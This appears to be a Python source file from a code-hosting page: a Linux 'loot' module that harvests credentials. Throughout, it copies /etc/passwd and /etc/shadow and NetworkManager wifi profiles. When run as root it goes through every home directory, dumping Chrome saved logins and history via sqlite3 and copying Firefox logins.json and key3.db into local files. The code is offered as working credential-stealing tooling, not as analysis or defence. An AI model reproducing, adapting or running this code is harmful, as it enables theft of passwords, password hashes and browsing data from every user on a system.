-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmodsLin.py
191 lines (182 loc) · 5.27 KB
/
modsLin.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
import os
import pwd, grp
import subprocess
reports = ''
# find child directories
def getChildir(a_dir):
try:
return [name for name in os.listdir(a_dir)
if os.path.isdir(os.path.join(a_dir, name))]
except:
return False
# find users in system
def enumUsers():
global reports
fullPath = '/home/'
childirs = getChildir(fullPath)
if childirs:
xx = 0
while xx < len(childirs):
# go thru all users and try to loot them..
if childirs[xx] != 'lost+found' and childirs[xx] != 'ftp':
try:
reports += '\n'
lootUser = fullPath + childirs[xx]
lootChrome(lootUser)
lootFirefox(lootUser)
except:
break
xx += 1
# main module will loot for passwords in linux
def linLoot(m):
global reports
reports += '\n - Looting Linux...\n'
# List Users
me = m
# User passwords
fullPath = '/etc/passwd'
if os.path.isfile(fullPath):
try:
f = open(fullPath, 'r')
c = f.read()
if len(c) > 10:
reports += '[*] Found /etc/passwd.\n'
FF = open('passwd.txt', 'w')
FF.write(c)
FF.close()
except: reports += '[e] Passwd: Access denied.\n'
# User shadow passwords
fullPath = '/etc/shadow'
if os.path.isfile(fullPath):
try:
f = open(fullPath, 'r')
c = f.read()
if len(c) > 10:
reports += '[*] Found /etc/shadow.\n'
FF = open('shadow.txt', 'w')
FF.write(c)
FF.close()
except: reports += '[e] Shadow: Access denied.\n'
# Network passwords (wifi, etc)
fullPath = '/etc/NetworkManager/system-connections/'
childInt = 0
for path, subdirs, files in os.walk(fullPath):
for name in files:
try:
f = open(fullPath + '/' + name, 'r')
c = f.read()
if len(c) > 10:
if childInt == 0:
reports += '[*] Found NetworkManager.\n'
childInt += 1
fn = 'NS-' + str(childInt) + '.txt'
FF = open(fn, 'w')
FF.write(c)
FF.close()
except:
reports += '[e] Network: Access denied.\n'
break
if me != 'root':
reports += ''
lootChrome(0)
lootFirefox(0)
# if we are running as root, lets enum other users
if me == 'root': enumUsers()
# return any reports
return reports
# get chrome pass' from any user [default = current]
def lootChrome(ii):
global reports
if ii == 0: homePath = os.path.expanduser('~')
else: homePath = ii
looted = 0
# Google chrome passwords
fullPath = homePath + '/.config/google-chrome/Default/Login Data'
if os.path.exists(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
try:
looted += 1
reports += '[*] Found chrome passwords.\n'
fn = str(homePath.rsplit('/', 1)[-1]) + '-chromelogins.csv'
p1 = subprocess.Popen(['sqlite3', '-header', '-csv', '-separator',
',',fullPath, 'SELECT * FROM logins'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p2 = p1.stdout.read()
p3 = p1.stderr.read()
if len(p2) > 1:
FF = open(fn, 'w')
FF.write(p2)
FF.close()
if len(p3) > 1:
reports += '[e] ' + str(p3) + '\n'
except: reports += '[e] Chrome: Database locked.\n'
f.close()
# Google chrome history
fullPath = homePath + '/.config/google-chrome/Default/History'
if os.path.exists(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
try:
looted += 1
reports += '[*] Found chrome history.\n'
fn = str(homePath.rsplit('/', 1)[-1]) + '-chromehistory.csv'
p1 = subprocess.Popen(['sqlite3', '-header', '-csv', '-separator',
',',fullPath, 'SELECT * FROM urls'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
p2 = p1.stdout.read()
p3 = p1.stderr.read()
if len(p2) > 1:
FF = open(fn, 'w')
FF.write(p2)
FF.close()
if len(p3) > 1:
reports += '[e] ' + str(p3) + '\n'
except:
reports += ' Try killing the process.\n'
f.close()
if looted > 0: reports += ' User: ' + str(homePath.rsplit('/', 1)[-1]) + '\n'
# get firefox pass' from any user [default = current]
def lootFirefox(ii):
global reports
if ii == 0: homePath = os.path.expanduser('~')
else: homePath = ii
# Mozilla firefox passwords
fullPath = homePath + '/.mozilla/firefox/'
if os.path.exists(fullPath):
childirs = getChildir(fullPath)
# if there is only 1 directory
if len(childirs) == 1:
fullPath = homePath + '/.mozilla/firefox/' + childirs[0] + '/logins.json'
if os.path.isfile(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
try:
reports += '[*] Found firefox passwords.\n'
reports += ' User: ' + str(homePath.rsplit('/', 1)[-1]) + '\n'
fn = str(homePath.rsplit('/', 1)[-1]) + '-logins.json'
FF = open(fn, 'w')
FF.write(c)
FF.close()
except:
reports += '[e] Firefox: No logins.\n'
f.close()
fullPath = homePath + '/.mozilla/firefox/' + childirs[0] + '/key3.db'
if os.path.isfile(fullPath):
f = open(fullPath, 'r')
c = f.read()
# if we actually found passwords, write to text file...
if len(c) > 10:
try:
fn = str(homePath.rsplit('/', 1)[-1]) + '-key3.db'
FF = open(fn, 'w')
FF.write(c)
FF.close()
except:
reports += '[e] Firefox: Database Locked.\n'
reports += ' Try killing the process.\n'
f.close()